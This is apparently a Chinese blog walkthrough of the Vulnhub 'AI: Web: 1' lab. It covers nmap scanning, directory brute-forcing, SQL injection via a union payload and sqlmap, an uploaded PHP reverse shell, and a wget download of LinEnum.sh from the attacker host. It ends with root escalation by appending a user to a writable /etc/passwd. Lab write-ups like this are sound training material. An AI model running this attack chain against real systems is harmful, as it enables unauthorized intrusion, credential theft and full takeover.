AI: Web: 1 Vulnhub Walkthrough
靶机下载:https://www.vulnhub.com/entry/ai-web-1,353/
测试方法:
    Nmap网络扫描
    浏览网页
    爆破目录
    SQL注入获取凭证
    SQL注入获取shell
    可写/etc/passwd 提权
    读取flag文件
 
靶机和攻击机处于统一网段下 所以就不用netdiscover扫描了
靶机IP:192.168.123.211
攻击机IP:192.168.123.30

主机发现:
ifconfig

 

 



nmap -sn 192.168.123.1/24

 

 



主机扫描:
nmap -A 192.168.123.211


    发现只有一个80端口打开,用浏览器访问

 

 


 

 


主页上没有任何有用的信息
但是nmap扫到的robots.txt文件中有两个特别的目录

/m3diNf0/
/se3reTdir777/uploads/

浏览器打开

 

 


 

 




禁止访问,使用dirb爆破子目录

 

 



发现一个phpinfo页面

 

 


再爆破另外一个目录

 

 


没有有用的信息
接着爆破上级目录

 

 



发现了一个index.php
看到了输入框,先测试是否有sql注入


 

 




 

 


























                                       1' union select 1,2,database() #

 

 


观察URL可知 不是GET提交参数
所以先用BurpSuite抓包,然后上神器sqlmap

 

 























sqlmap -r AI-WEB1.txt --dbs --batch

 

 

 

 



数据库名为aiweb1
接下来查询库中的所有数据

sqlmap -r AI-WEB1.txt -D aiweb1 --dump-all –batch

 

 






password字段base64解码
Table: systemUser
[3 entries]
+----+-----------+----------------------------------------------+
| id | userName  | password                                     |
+----+-----------+----------------------------------------------+
| 1  | t00r      | FakeUserPassw0rd                     |
| 2  | aiweb1pwn | MyEvilPass_f908sdaf9_sadfasf0sa |
| 3  | u3er      | N0tThis0neAls0                         |
+----+-----------+----------------------------------------------+
登录凭证拿到了 得想办法拿web shell

sqlmap -r AI-WEB1.txt --privileg  --batch 查看mysql的权限


 

 




FILE权限 可以对服务器本地文件进行操作

尝试使用os_shell直接得到shell
PS:
使用OS_shell的条件
(1)具有file权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
第一点满足了,绝对路径可从info.php中找到

sqlmap -r AI-WEB1.txt -D aiweb1 --os-shell

 

 

 

 




 

 

 

 









为了接下来的提权,我们利用执行os_shell留下来的上传页面 上传php恶意脚本,反弹shell

 

 


 
php脚本中的IP改为攻击机的IP


c

 

 


上传

 





攻击机监听端口

 

 








访问恶意脚本

 

 

 


反弹shell成功 但这只是一个非交互式shell

 

 


我们利用python来模拟一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'

 

 



注意 我们虽然有aiweb1pwn的密码 但是这个用户并不是root用户
所以还是得找其他方式提权
上传扫描脚本看靶机的配置是否有问题
攻击机开启一个web服务
python -m SimpleHTTPServer 8081

 

 











靶机下载脚本
cd /tmp
wget 192.168.123.30:8081/LinEnum.sh

 

 


给脚本执行权限
chmod 777 LinEnum.sh
./LinEnum.sh

 

 



查看脚本输出信息
发现passwd文件我们竟然能够修改

 

 


直接添加一个root用户

openssl passwd -1 -salt salt 1234
echo 'hack:$1$salt$kqNI5AJoJdN1WgWoNslBD0:0:0::/root:/bin/bash' >> /etc/passwd

 

 tail /etc/passwd

 

 


添加成功,切换用户(hack:1234)
su hack
id

 

 

 

 

 





 

 

 

posted on 2019-09-26 15:57  0xcreed  阅读(1004)  评论(0编辑  收藏  举报